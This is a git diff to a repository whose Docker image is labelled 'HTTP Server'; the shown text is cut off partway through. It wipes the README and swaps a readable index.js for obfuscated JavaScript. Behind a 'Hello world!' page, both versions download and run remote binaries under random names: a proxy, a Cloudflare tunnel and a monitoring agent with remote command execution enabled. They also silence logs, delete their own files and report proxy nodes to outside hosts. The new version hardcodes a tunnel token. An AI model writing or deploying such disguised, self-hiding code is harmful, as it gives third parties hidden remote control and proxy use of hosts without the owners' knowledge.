diff --git a/.github/workflows/build-docker-image.yml b/.github/workflows/build-docker-image.yml index 8921cacbef..8a67f78735 100644 --- a/.github/workflows/build-docker-image.yml +++ b/.github/workflows/build-docker-image.yml @@ -39,7 +39,7 @@ jobs: push: true platforms: linux/amd64,linux/arm64 tags: | - ghcr.io/${{ github.repository_owner }}/nodejs:latest + ghcr.io/${{ github.repository_owner }}/mytest2026:latest labels: | org.opencontainers.image.source=https://github.com/${{ github.repository }} org.opencontainers.image.description=HTTP Server diff --git a/README.md b/README.md index f07f8f3ac6..8b13789179 100644 --- a/README.md +++ b/README.md @@ -1,209 +1 @@ -
-
-* 感谢[ZMTO](https://zmto.com/?affid=1548)提供赞助优质双isp vps。
-
-## 许可证
-GPL 3.0
diff --git a/index.js b/index.js
index 1af38c4c53..c9a83ea57f 100644
--- a/index.js
+++ b/index.js
@@ -1,620 +1 @@
-const express = require("express");
-const app = express();
-const axios = require("axios");
-const os = require('os');
-const fs = require("fs");
-const path = require("path");
-const { promisify } = require('util');
-const exec = promisify(require('child_process').exec);
-const { execSync } = require('child_process'); // 只填写UPLOAD_URL将上传节点,同时填写UPLOAD_URL和PROJECT_URL将上传订阅
-const UPLOAD_URL = process.env.UPLOAD_URL || ''; // 节点或订阅自动上传地址,需填写部署Merge-sub项目后的首页地址,例如:https://merge.xxx.com
-const PROJECT_URL = process.env.PROJECT_URL || ''; // 需要上传订阅或保活时需填写项目分配的url,例如:https://google.com
-const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // false关闭自动保活,true开启,需同时填写PROJECT_URL变量
-const FILE_PATH = process.env.FILE_PATH || './tmp'; // 运行目录,sub节点文件保存目录
-const SUB_PATH = process.env.SUB_PATH || 'sub'; // 订阅路径
-const PORT = process.env.SERVER_PORT || process.env.PORT || 3000; // http服务订阅端口
-const UUID = process.env.UUID || '9afd1229-b893-40c1-84dd-51e7ce204913'; // 使用哪吒v1,在不同的平台运行需修改UUID,否则会覆盖
-const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式: nz.abc.com:8008 哪吒v0填写形式:nz.abc.com
-const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 使用哪吒v1请留空,哪吒v0需填写
-const NEZHA_KEY = process.env.NEZHA_KEY || ''; // 哪吒v1的NZ_CLIENT_SECRET或哪吒v0的agent密钥
-const ARGO_DOMAIN = process.env.ARGO_DOMAIN || ''; // 固定隧道域名,留空即启用临时隧道
-const ARGO_AUTH = process.env.ARGO_AUTH || ''; // 固定隧道密钥json或token,留空即启用临时隧道,json获取地址:https://json.zone.id
-const ARGO_PORT = process.env.ARGO_PORT || 8001; // 固定隧道端口,使用token需在cloudflare后台设置和这里一致
-const CFIP = process.env.CFIP || 'cdns.doon.eu.org'; // 节点优选域名或优选ip
-const CFPORT = process.env.CFPORT || 443; // 节点优选域名或优选ip对应的端口
-const NAME = process.env.NAME || ''; // 节点名称
-
-// 创建运行文件夹
-if (!fs.existsSync(FILE_PATH)) {
- fs.mkdirSync(FILE_PATH);
- console.log(`${FILE_PATH} is created`);
-} else {
- console.log(`${FILE_PATH} already exists`);
-}
-
-// 生成随机6位字符文件名
-function generateRandomName() {
- const characters = 'abcdefghijklmnopqrstuvwxyz';
- let result = '';
- for (let i = 0; i < 6; i++) {
- result += characters.charAt(Math.floor(Math.random() * characters.length));
- }
- return result;
-}
-
-// 全局常量
-const npmName = generateRandomName();
-const webName = generateRandomName();
-const botName = generateRandomName();
-const phpName = generateRandomName();
-let npmPath = path.join(FILE_PATH, npmName);
-let phpPath = path.join(FILE_PATH, phpName);
-let webPath = path.join(FILE_PATH, webName);
-let botPath = path.join(FILE_PATH, botName);
-let subPath = path.join(FILE_PATH, 'sub.txt');
-let listPath = path.join(FILE_PATH, 'list.txt');
-let bootLogPath = path.join(FILE_PATH, 'boot.log');
-let configPath = path.join(FILE_PATH, 'config.json');
-
-// 如果订阅器上存在历史运行节点则先删除
-function deleteNodes() {
- try {
- if (!UPLOAD_URL) return;
- if (!fs.existsSync(subPath)) return;
-
- let fileContent;
- try {
- fileContent = fs.readFileSync(subPath, 'utf-8');
- } catch {
- return null;
- }
-
- const decoded = Buffer.from(fileContent, 'base64').toString('utf-8');
- const nodes = decoded.split('\n').filter(line =>
- /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line)
- );
-
- if (nodes.length === 0) return;
-
- axios.post(`${UPLOAD_URL}/api/delete-nodes`,
- JSON.stringify({ nodes }),
- { headers: { 'Content-Type': 'application/json' } }
- ).catch((error) => {
- return null;
- });
- return null;
- } catch (err) {
- return null;
- }
-}
-
-// 清理历史文件
-function cleanupOldFiles() {
- try {
- const files = fs.readdirSync(FILE_PATH);
- files.forEach(file => {
- const filePath = path.join(FILE_PATH, file);
- try {
- const stat = fs.statSync(filePath);
- if (stat.isFile()) {
- fs.unlinkSync(filePath);
- }
- } catch (err) {
- // 忽略所有错误,不记录日志
- }
- });
- } catch (err) {
- // 忽略所有错误,不记录日志
- }
-}
-
-// 根路由
-app.get("/", function(req, res) {
- res.send("Hello world!");
-});
-
-// 生成xr-ay配置文件
-async function generateConfig() {
- const config = {
- log: { access: '/dev/null', error: '/dev/null', loglevel: 'none' },
- inbounds: [
- { port: ARGO_PORT, protocol: 'vless', settings: { clients: [{ id: UUID, flow: 'xtls-rprx-vision' }], decryption: 'none', fallbacks: [{ dest: 3001 }, { path: "/vless-argo", dest: 3002 }, { path: "/vmess-argo", dest: 3003 }, { path: "/trojan-argo", dest: 3004 }] }, streamSettings: { network: 'tcp' } },
- { port: 3001, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID }], decryption: "none" }, streamSettings: { network: "tcp", security: "none" } },
- { port: 3002, listen: "127.0.0.1", protocol: "vless", settings: { clients: [{ id: UUID, level: 0 }], decryption: "none" }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/vless-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } },
- { port: 3003, listen: "127.0.0.1", protocol: "vmess", settings: { clients: [{ id: UUID, alterId: 0 }] }, streamSettings: { network: "ws", wsSettings: { path: "/vmess-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } },
- { port: 3004, listen: "127.0.0.1", protocol: "trojan", settings: { clients: [{ password: UUID }] }, streamSettings: { network: "ws", security: "none", wsSettings: { path: "/trojan-argo" } }, sniffing: { enabled: true, destOverride: ["http", "tls", "quic"], metadataOnly: false } },
- ],
- dns: { servers: ["https+local://8.8.8.8/dns-query"] },
- outbounds: [ { protocol: "freedom", tag: "direct" }, {protocol: "blackhole", tag: "block"} ]
- };
- fs.writeFileSync(path.join(FILE_PATH, 'config.json'), JSON.stringify(config, null, 2));
-}
-
-// 判断系统架构
-function getSystemArchitecture() {
- const arch = os.arch();
- if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') {
- return 'arm';
- } else {
- return 'amd';
- }
-}
-
-// 下载对应系统架构的依赖文件
-function downloadFile(fileName, fileUrl, callback) {
- const filePath = fileName;
-
- // 确保目录存在
- if (!fs.existsSync(FILE_PATH)) {
- fs.mkdirSync(FILE_PATH, { recursive: true });
- }
-
- const writer = fs.createWriteStream(filePath);
-
- axios({
- method: 'get',
- url: fileUrl,
- responseType: 'stream',
- })
- .then(response => {
- response.data.pipe(writer);
-
- writer.on('finish', () => {
- writer.close();
- console.log(`Download ${path.basename(filePath)} successfully`);
- callback(null, filePath);
- });
-
- writer.on('error', err => {
- fs.unlink(filePath, () => { });
- const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`;
- console.error(errorMessage); // 下载失败时输出错误消息
- callback(errorMessage);
- });
- })
- .catch(err => {
- const errorMessage = `Download ${path.basename(filePath)} failed: ${err.message}`;
- console.error(errorMessage); // 下载失败时输出错误消息
- callback(errorMessage);
- });
-}
-
-// 下载并运行依赖文件
-async function downloadFilesAndRun() {
-
- const architecture = getSystemArchitecture();
- const filesToDownload = getFilesForArchitecture(architecture);
-
- if (filesToDownload.length === 0) {
- console.log(`Can't find a file for the current architecture`);
- return;
- }
-
- const downloadPromises = filesToDownload.map(fileInfo => {
- return new Promise((resolve, reject) => {
- downloadFile(fileInfo.fileName, fileInfo.fileUrl, (err, filePath) => {
- if (err) {
- reject(err);
- } else {
- resolve(filePath);
- }
- });
- });
- });
-
- try {
- await Promise.all(downloadPromises);
- } catch (err) {
- console.error('Error downloading files:', err);
- return;
- }
- // 授权和运行
- function authorizeFiles(filePaths) {
- const newPermissions = 0o775;
- filePaths.forEach(absoluteFilePath => {
- if (fs.existsSync(absoluteFilePath)) {
- fs.chmod(absoluteFilePath, newPermissions, (err) => {
- if (err) {
- console.error(`Empowerment failed for ${absoluteFilePath}: ${err}`);
- } else {
- console.log(`Empowerment success for ${absoluteFilePath}: ${newPermissions.toString(8)}`);
- }
- });
- }
- });
- }
- const filesToAuthorize = NEZHA_PORT ? [npmPath, webPath, botPath] : [phpPath, webPath, botPath];
- authorizeFiles(filesToAuthorize);
-
- //运行ne-zha
- if (NEZHA_SERVER && NEZHA_KEY) {
- if (!NEZHA_PORT) {
- // 检测哪吒是否开启TLS
- const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : '';
- const tlsPorts = new Set(['443', '8443', '2096', '2087', '2083', '2053']);
- const nezhatls = tlsPorts.has(port) ? 'true' : 'false';
- // 生成 config.yaml
- const configYaml = `
-client_secret: ${NEZHA_KEY}
-debug: false
-disable_auto_update: true
-disable_command_execute: false
-disable_force_update: true
-disable_nat: false
-disable_send_query: false
-gpu: false
-insecure_tls: true
-ip_report_period: 1800
-report_delay: 4
-server: ${NEZHA_SERVER}
-skip_connection_count: true
-skip_procs_count: true
-temperature: false
-tls: ${nezhatls}
-use_gitee_to_upgrade: false
-use_ipv6_country_code: false
-uuid: ${UUID}`;
-
- fs.writeFileSync(path.join(FILE_PATH, 'config.yaml'), configYaml);
-
- // 运行 v1
- const command = `nohup ${phpPath} -c "${FILE_PATH}/config.yaml" >/dev/null 2>&1 &`;
- try {
- await exec(command);
- console.log(`${phpName} is running`);
- await new Promise((resolve) => setTimeout(resolve, 1000));
- } catch (error) {
- console.error(`php running error: ${error}`);
- }
- } else {
- let NEZHA_TLS = '';
- const tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053'];
- if (tlsPorts.includes(NEZHA_PORT)) {
- NEZHA_TLS = '--tls';
- }
- const command = `nohup ${npmPath} -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`;
- try {
- await exec(command);
- console.log(`${npmName} is running`);
- await new Promise((resolve) => setTimeout(resolve, 1000));
- } catch (error) {
- console.error(`npm running error: ${error}`);
- }
- }
- } else {
- console.log('NEZHA variable is empty,skip running');
- }
- //运行xr-ay
- const command1 = `nohup ${webPath} -c ${FILE_PATH}/config.json >/dev/null 2>&1 &`;
- try {
- await exec(command1);
- console.log(`${webName} is running`);
- await new Promise((resolve) => setTimeout(resolve, 1000));
- } catch (error) {
- console.error(`web running error: ${error}`);
- }
-
- // 运行cloud-fared
- if (fs.existsSync(botPath)) {
- let args;
-
- if (ARGO_AUTH.match(/^[A-Z0-9a-z=]{120,250}$/)) {
- args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 run --token ${ARGO_AUTH}`;
- } else if (ARGO_AUTH.match(/TunnelSecret/)) {
- args = `tunnel --edge-ip-version auto --config ${FILE_PATH}/tunnel.yml run`;
- } else {
- args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`;
- }
-
- try {
- await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`);
- console.log(`${botName} is running`);
- await new Promise((resolve) => setTimeout(resolve, 2000));
- } catch (error) {
- console.error(`Error executing command: ${error}`);
- }
- }
- await new Promise((resolve) => setTimeout(resolve, 5000));
-
-}
-
-//根据系统架构返回对应的url
-function getFilesForArchitecture(architecture) {
- let baseFiles;
- if (architecture === 'arm') {
- baseFiles = [
- { fileName: webPath, fileUrl: "https://arm64.ssss.nyc.mn/web" },
- { fileName: botPath, fileUrl: "https://arm64.ssss.nyc.mn/bot" }
- ];
- } else {
- baseFiles = [
- { fileName: webPath, fileUrl: "https://amd64.ssss.nyc.mn/web" },
- { fileName: botPath, fileUrl: "https://amd64.ssss.nyc.mn/bot" }
- ];
- }
-
- if (NEZHA_SERVER && NEZHA_KEY) {
- if (NEZHA_PORT) {
- const npmUrl = architecture === 'arm'
- ? "https://arm64.ssss.nyc.mn/agent"
- : "https://amd64.ssss.nyc.mn/agent";
- baseFiles.unshift({
- fileName: npmPath,
- fileUrl: npmUrl
- });
- } else {
- const phpUrl = architecture === 'arm'
- ? "https://arm64.ssss.nyc.mn/v1"
- : "https://amd64.ssss.nyc.mn/v1";
- baseFiles.unshift({
- fileName: phpPath,
- fileUrl: phpUrl
- });
- }
- }
-
- return baseFiles;
-}
-
-// 获取固定隧道json
-function argoType() {
- if (!ARGO_AUTH || !ARGO_DOMAIN) {
- console.log("ARGO_DOMAIN or ARGO_AUTH variable is empty, use quick tunnels");
- return;
- }
-
- if (ARGO_AUTH.includes('TunnelSecret')) {
- fs.writeFileSync(path.join(FILE_PATH, 'tunnel.json'), ARGO_AUTH);
- const tunnelYaml = `
- tunnel: ${ARGO_AUTH.split('"')[11]}
- credentials-file: ${path.join(FILE_PATH, 'tunnel.json')}
- protocol: http2
-
- ingress:
- - hostname: ${ARGO_DOMAIN}
- service: http://localhost:${ARGO_PORT}
- originRequest:
- noTLSVerify: true
- - service: http_status:404
- `;
- fs.writeFileSync(path.join(FILE_PATH, 'tunnel.yml'), tunnelYaml);
- } else {
- console.log("ARGO_AUTH mismatch TunnelSecret,use token connect to tunnel");
- }
-}
-
-// 获取临时隧道domain
-async function extractDomains() {
- let argoDomain;
-
- if (ARGO_AUTH && ARGO_DOMAIN) {
- argoDomain = ARGO_DOMAIN;
- console.log('ARGO_DOMAIN:', argoDomain);
- await generateLinks(argoDomain);
- } else {
- try {
- const fileContent = fs.readFileSync(path.join(FILE_PATH, 'boot.log'), 'utf-8');
- const lines = fileContent.split('\n');
- const argoDomains = [];
- lines.forEach((line) => {
- const domainMatch = line.match(/https?:\/\/([^ ]*trycloudflare\.com)\/?/);
- if (domainMatch) {
- const domain = domainMatch[1];
- argoDomains.push(domain);
- }
- });
-
- if (argoDomains.length > 0) {
- argoDomain = argoDomains[0];
- console.log('ArgoDomain:', argoDomain);
- await generateLinks(argoDomain);
- } else {
- console.log('ArgoDomain not found, re-running bot to obtain ArgoDomain');
- // 删除 boot.log 文件,等待 2s 重新运行 server 以获取 ArgoDomain
- fs.unlinkSync(path.join(FILE_PATH, 'boot.log'));
- async function killBotProcess() {
- try {
- if (process.platform === 'win32') {
- await exec(`taskkill /f /im ${botName}.exe > nul 2>&1`);
- } else {
- await exec(`pkill -f "[${botName.charAt(0)}]${botName.substring(1)}" > /dev/null 2>&1`);
- }
- } catch (error) {
- // 忽略输出
- }
- }
- killBotProcess();
- await new Promise((resolve) => setTimeout(resolve, 3000));
- const args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`;
- try {
- await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`);
- console.log(`${botName} is running`);
- await new Promise((resolve) => setTimeout(resolve, 3000));
- await extractDomains(); // 重新提取域名
- } catch (error) {
- console.error(`Error executing command: ${error}`);
- }
- }
- } catch (error) {
- console.error('Error reading boot.log:', error);
- }
-}
-
-// 获取isp信息
-async function getMetaInfo() {
- try {
- const response1 = await axios.get('https://ipapi.co/json/', { timeout: 3000 });
- if (response1.data && response1.data.country_code && response1.data.org) {
- return `${response1.data.country_code}_${response1.data.org}`;
- }
- } catch (error) {
- try {
- // 备用 ip-api.com 获取isp
- const response2 = await axios.get('http://ip-api.com/json/', { timeout: 3000 });
- if (response2.data && response2.data.status === 'success' && response2.data.countryCode && response2.data.org) {
- return `${response2.data.countryCode}_${response2.data.org}`;
- }
- } catch (error) {
- // console.error('Backup API also failed');
- }
- }
- return 'Unknown';
-}
-// 生成 list 和 sub 信息
-async function generateLinks(argoDomain) {
- const ISP = await getMetaInfo();
- const nodeName = NAME ? `${NAME}-${ISP}` : ISP;
- return new Promise((resolve) => {
- setTimeout(() => {
- const VMESS = { v: '2', ps: `${nodeName}`, add: CFIP, port: CFPORT, id: UUID, aid: '0', scy: 'none', net: 'ws', type: 'none', host: argoDomain, path: '/vmess-argo?ed=2560', tls: 'tls', sni: argoDomain, alpn: '', fp: 'firefox'};
- const subTxt = `
-vless://${UUID}@${CFIP}:${CFPORT}?encryption=none&security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Fvless-argo%3Fed%3D2560#${nodeName}
-
-vmess://${Buffer.from(JSON.stringify(VMESS)).toString('base64')}
-
-trojan://${UUID}@${CFIP}:${CFPORT}?security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Ftrojan-argo%3Fed%3D2560#${nodeName}
- `;
- // 打印 sub.txt 内容到控制台
- console.log(Buffer.from(subTxt).toString('base64'));
- fs.writeFileSync(subPath, Buffer.from(subTxt).toString('base64'));
- console.log(`${FILE_PATH}/sub.txt saved successfully`);
- uploadNodes();
- // 将内容进行 base64 编码并写入 SUB_PATH 路由
- app.get(`/${SUB_PATH}`, (req, res) => {
- const encodedContent = Buffer.from(subTxt).toString('base64');
- res.set('Content-Type', 'text/plain; charset=utf-8');
- res.send(encodedContent);
- });
- resolve(subTxt);
- }, 2000);
- });
- }
-}
-
-// 自动上传节点或订阅
-async function uploadNodes() {
- if (UPLOAD_URL && PROJECT_URL) {
- const subscriptionUrl = `${PROJECT_URL}/${SUB_PATH}`;
- const jsonData = {
- subscription: [subscriptionUrl]
- };
- try {
- const response = await axios.post(`${UPLOAD_URL}/api/add-subscriptions`, jsonData, {
- headers: {
- 'Content-Type': 'application/json'
- }
- });
-
- if (response && response.status === 200) {
- console.log('Subscription uploaded successfully');
- return response;
- } else {
- return null;
- // console.log('Unknown response status');
- }
- } catch (error) {
- if (error.response) {
- if (error.response.status === 400) {
- // console.error('Subscription already exists');
- }
- }
- }
- } else if (UPLOAD_URL) {
- if (!fs.existsSync(listPath)) return;
- const content = fs.readFileSync(listPath, 'utf-8');
- const nodes = content.split('\n').filter(line => /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line));
-
- if (nodes.length === 0) return;
-
- const jsonData = JSON.stringify({ nodes });
-
- try {
- const response = await axios.post(`${UPLOAD_URL}/api/add-nodes`, jsonData, {
- headers: { 'Content-Type': 'application/json' }
- });
- if (response && response.status === 200) {
- console.log('Nodes uploaded successfully');
- return response;
- } else {
- return null;
- }
- } catch (error) {
- return null;
- }
- } else {
- // console.log('Skipping upload nodes');
- return;
- }
-}
-
-// 90s后删除相关文件
-function cleanFiles() {
- setTimeout(() => {
- const filesToDelete = [bootLogPath, configPath, webPath, botPath];
-
- if (NEZHA_PORT) {
- filesToDelete.push(npmPath);
- } else if (NEZHA_SERVER && NEZHA_KEY) {
- filesToDelete.push(phpPath);
- }
-
- // Windows系统使用不同的删除命令
- if (process.platform === 'win32') {
- exec(`del /f /q ${filesToDelete.join(' ')} > nul 2>&1`, (error) => {
- console.clear();
- console.log('App is running');
- console.log('Thank you for using this script, enjoy!');
- });
- } else {
- exec(`rm -rf ${filesToDelete.join(' ')} >/dev/null 2>&1`, (error) => {
- console.clear();
- console.log('App is running');
- console.log('Thank you for using this script, enjoy!');
- });
- }
- }, 90000); // 90s
-}
-cleanFiles();
-
-// 自动访问项目URL
-async function AddVisitTask() {
- if (!AUTO_ACCESS || !PROJECT_URL) {
- console.log("Skipping adding automatic access task");
- return;
- }
-
- try {
- const response = await axios.post('https://oooo.serv00.net/add-url', {
- url: PROJECT_URL
- }, {
- headers: {
- 'Content-Type': 'application/json'
- }
- });
- // console.log(`${JSON.stringify(response.data)}`);
- console.log(`automatic access task added successfully`);
- return response;
- } catch (error) {
- console.error(`Add automatic access task faild: ${error.message}`);
- return null;
- }
-}
-
-// 主运行逻辑
-async function startserver() {
- try {
- argoType();
- deleteNodes();
- cleanupOldFiles();
- await generateConfig();
- await downloadFilesAndRun();
- await extractDomains();
- await AddVisitTask();
- } catch (error) {
- console.error('Error in startserver:', error);
- }
-}
-startserver().catch(error => {
- console.error('Unhandled error in startserver:', error);
-});
-app.listen(PORT, () => console.log(`http server is running on port:${PORT}!`));
+const _0x199907=_0x3f84;(function(_0x40bb0f,_0xf832a6){const _0xa66b3c={_0x767ec9:0x1df,_0x5d8722:0x1c9,_0x387a68:0x253,_0x536d10:0x1b2,_0x5c3f1a:0x204,_0x41cf02:0x19e},_0x3f19a2=_0x3f84,_0x3f6f32=_0x40bb0f();while(!![]){try{const _0x1212df=-parseInt(_0x3f19a2(0x1f7))/0x1*(-parseInt(_0x3f19a2(_0xa66b3c._0x767ec9))/0x2)+-parseInt(_0x3f19a2(_0xa66b3c._0x5d8722))/0x3*(parseInt(_0x3f19a2(_0xa66b3c._0x387a68))/0x4)+parseInt(_0x3f19a2(0x231))/0x5*(-parseInt(_0x3f19a2(0x21e))/0x6)+parseInt(_0x3f19a2(0x1da))/0x7*(parseInt(_0x3f19a2(0x1ed))/0x8)+parseInt(_0x3f19a2(0x246))/0x9+-parseInt(_0x3f19a2(_0xa66b3c._0x536d10))/0xa+parseInt(_0x3f19a2(_0xa66b3c._0x5c3f1a))/0xb*(-parseInt(_0x3f19a2(_0xa66b3c._0x41cf02))/0xc);if(_0x1212df===_0xf832a6)break;else _0x3f6f32['push'](_0x3f6f32['shift']());}catch(_0x50bddb){_0x3f6f32['push'](_0x3f6f32['shift']());}}}(_0x294d,0x32c9f));const express=require(_0x199907(0x1f3)),app=express(),axios=require(_0x199907(0x21c)),os=require('os'),fs=require('fs'),path=require(_0x199907(0x1b6)),{promisify}=require(_0x199907(0x220)),exec=promisify(require(_0x199907(0x1c3))['exec']),{execSync}=require(_0x199907(0x1c3)),UPLOAD_URL=process['env']['UPLOAD_URL']||'',PROJECT_URL=process[_0x199907(0x1a8)]['PROJECT_URL']||'',AUTO_ACCESS=process[_0x199907(0x1a8)][_0x199907(0x22c)]||![],FILE_PATH=process[_0x199907(0x1a8)][_0x199907(0x1d2)]||_0x199907(0x1f6),SUB_PATH=process[_0x199907(0x1a8)]['SUB_PATH']||'sub',PORT=process[_0x199907(0x1a8)]['SERVER_PORT']||process[_0x199907(0x1a8)]['PORT']||0xbb8,UUID=process[_0x199907(0x1a8)][_0x199907(0x208)]||_0x199907(0x202),NEZHA_SERVER=process[_0x199907(0x1a8)]['NEZHA_SERVER']||'',NEZHA_PORT=process[_0x199907(0x1a8)][_0x199907(0x20b)]||'',NEZHA_KEY=process[_0x199907(0x1a8)][_0x199907(0x1bf)]||'',ARGO_DOMAIN=process[_0x199907(0x1a8)][_0x199907(0x227)]||'zerone.11414444.xyz',ARGO_AUTH=process[_0x199907(0x1a8)][_0x199907(0x1e2)]||'eyJhIjoiYjhhYzYzNThhNWY2MzJmYWQ5OWJlMTdjODcxZmEzM2IiLCJ0IjoiYjk0YzhjZDMtOWZlNS00NTM0LWE0ZDEtNmZkZDM0MTBkNTJmIiwicyI6Ik5HWTJZelJpTXpVdFlqQTFOeTAwTTJNd0xXRmlaVEV0TURJek1XRmxaV1l6TWpNeCJ9',ARGO_PORT=process[_0x199907(0x1a8)][_0x199907(0x214)]||0x1f41,CFIP=process[_0x199907(0x1a8)]['CFIP']||_0x199907(0x225),CFPORT=process[_0x199907(0x1a8)][_0x199907(0x20e)]||0x1bb,NAME=process[_0x199907(0x1a8)]['NAME']||'';!fs[_0x199907(0x230)](FILE_PATH)?(fs['mkdirSync'](FILE_PATH),console[_0x199907(0x1bb)](FILE_PATH+_0x199907(0x21a))):console[_0x199907(0x1bb)](FILE_PATH+_0x199907(0x1a0));function generateRandomName(){const _0x41f7d2={_0x515e68:0x1ea,_0x33beb3:0x1dc},_0x2645db=_0x199907,_0xa097d1=_0x2645db(_0x41f7d2._0x515e68);let _0x6e4e59='';for(let _0x44959b=0x0;_0x44959b<0x6;_0x44959b++){_0x6e4e59+=_0xa097d1[_0x2645db(_0x41f7d2._0x33beb3)](Math[_0x2645db(0x229)](Math[_0x2645db(0x211)]()*_0xa097d1[_0x2645db(0x1b0)]));}return _0x6e4e59;}const npmName=generateRandomName(),webName=generateRandomName(),botName=generateRandomName(),phpName=generateRandomName();function _0x3f84(_0x26e850,_0x3f33ea){const _0x294d3c=_0x294d();return _0x3f84=function(_0x3f84b5,_0x39f500){_0x3f84b5=_0x3f84b5-0x18f;let _0x153a28=_0x294d3c[_0x3f84b5];return _0x153a28;},_0x3f84(_0x26e850,_0x3f33ea);}let npmPath=path[_0x199907(0x20d)](FILE_PATH,npmName),phpPath=path[_0x199907(0x20d)](FILE_PATH,phpName),webPath=path[_0x199907(0x20d)](FILE_PATH,webName),botPath=path[_0x199907(0x20d)](FILE_PATH,botName),subPath=path['join'](FILE_PATH,_0x199907(0x23d)),listPath=path[_0x199907(0x20d)](FILE_PATH,'list.txt'),bootLogPath=path['join'](FILE_PATH,_0x199907(0x1f8)),configPath=path[_0x199907(0x20d)](FILE_PATH,_0x199907(0x207));function deleteNodes(){const _0x369ffc={_0x52ad95:0x1f0,_0x52fd03:0x1e7,_0x2e85a9:0x1ec,_0x4269cd:0x1d9,_0x2679bd:0x1a2,_0x51bf92:0x205},_0x388ad5=_0x199907;try{if(!UPLOAD_URL)return;if(!fs['existsSync'](subPath))return;let _0x36c9df;try{_0x36c9df=fs[_0x388ad5(0x1e6)](subPath,'utf-8');}catch{return null;}const _0x62e976=Buffer[_0x388ad5(_0x369ffc._0x52ad95)](_0x36c9df,'base64')[_0x388ad5(0x1f5)](_0x388ad5(_0x369ffc._0x52fd03)),_0x2a2a4d=_0x62e976['split']('\x0a')[_0x388ad5(_0x369ffc._0x2e85a9)](_0x2d7477=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x388ad5(0x1b1)](_0x2d7477));if(_0x2a2a4d['length']===0x0)return;return axios[_0x388ad5(0x1ce)](UPLOAD_URL+_0x388ad5(_0x369ffc._0x4269cd),JSON[_0x388ad5(_0x369ffc._0x2679bd)]({'nodes':_0x2a2a4d}),{'headers':{'Content-Type':_0x388ad5(_0x369ffc._0x51bf92)}})['catch'](_0x56bbf3=>{return null;}),null;}catch(_0x2e9fda){return null;}}function cleanupOldFiles(){const _0x4e0b1f={_0x588d48:0x1cf},_0xc22ac1={_0x36fb3c:0x1a5},_0x56a335=_0x199907;try{const _0x53aa16=fs[_0x56a335(_0x4e0b1f._0x588d48)](FILE_PATH);_0x53aa16['forEach'](_0x3c11c6=>{const _0x56b3a3=_0x56a335,_0x49b492=path[_0x56b3a3(0x20d)](FILE_PATH,_0x3c11c6);try{const _0x33cd7a=fs['statSync'](_0x49b492);_0x33cd7a['isFile']()&&fs[_0x56b3a3(_0xc22ac1._0x36fb3c)](_0x49b492);}catch(_0xa4d607){}});}catch(_0x2c53e0){}}app['get']('/',function(_0x2e1364,_0x20212f){const _0x59e611=_0x199907;_0x20212f[_0x59e611(0x1be)]('Hello\x20world!');});async function generateConfig(){const _0x5f1baf={_0x258aca:0x1d1,_0x169943:0x197,_0x3adcfb:0x1b4,_0x593664:0x1e9,_0x9ea154:0x19a,_0x590640:0x1ee,_0xf903e6:0x1b4,_0x226c43:0x1a9,_0x5cd170:0x193,_0x2e0b58:0x24e,_0x418b42:0x19a,_0x32f7be:0x21d,_0x5987ef:0x1de,_0x10ff22:0x1f4,_0x56d154:0x241,_0x1ca1c1:0x1ab,_0xedaaae:0x1a2},_0x11f6cd=_0x199907,_0x939f69={'log':{'access':_0x11f6cd(0x243),'error':_0x11f6cd(0x243),'loglevel':'none'},'inbounds':[{'port':ARGO_PORT,'protocol':_0x11f6cd(0x1e9),'settings':{'clients':[{'id':UUID,'flow':_0x11f6cd(_0x5f1baf._0x258aca)}],'decryption':'none','fallbacks':[{'dest':0xbb9},{'path':'/vless-argo','dest':0xbba},{'path':'/vmess-argo','dest':0xbbb},{'path':_0x11f6cd(0x22e),'dest':0xbbc}]},'streamSettings':{'network':'tcp'}},{'port':0xbb9,'listen':_0x11f6cd(0x1b4),'protocol':_0x11f6cd(0x1e9),'settings':{'clients':[{'id':UUID}],'decryption':_0x11f6cd(_0x5f1baf._0x169943)},'streamSettings':{'network':'tcp','security':_0x11f6cd(0x197)}},{'port':0xbba,'listen':_0x11f6cd(_0x5f1baf._0x3adcfb),'protocol':_0x11f6cd(_0x5f1baf._0x593664),'settings':{'clients':[{'id':UUID,'level':0x0}],'decryption':'none'},'streamSettings':{'network':'ws','security':_0x11f6cd(0x197),'wsSettings':{'path':_0x11f6cd(0x1a6)}},'sniffing':{'enabled':!![],'destOverride':['http',_0x11f6cd(_0x5f1baf._0x9ea154),_0x11f6cd(_0x5f1baf._0x590640)],'metadataOnly':![]}},{'port':0xbbb,'listen':_0x11f6cd(_0x5f1baf._0xf903e6),'protocol':_0x11f6cd(0x222),'settings':{'clients':[{'id':UUID,'alterId':0x0}]},'streamSettings':{'network':'ws','wsSettings':{'path':_0x11f6cd(_0x5f1baf._0x226c43)}},'sniffing':{'enabled':!![],'destOverride':[_0x11f6cd(_0x5f1baf._0x5cd170),_0x11f6cd(_0x5f1baf._0x9ea154),'quic'],'metadataOnly':![]}},{'port':0xbbc,'listen':_0x11f6cd(0x1b4),'protocol':_0x11f6cd(_0x5f1baf._0x2e0b58),'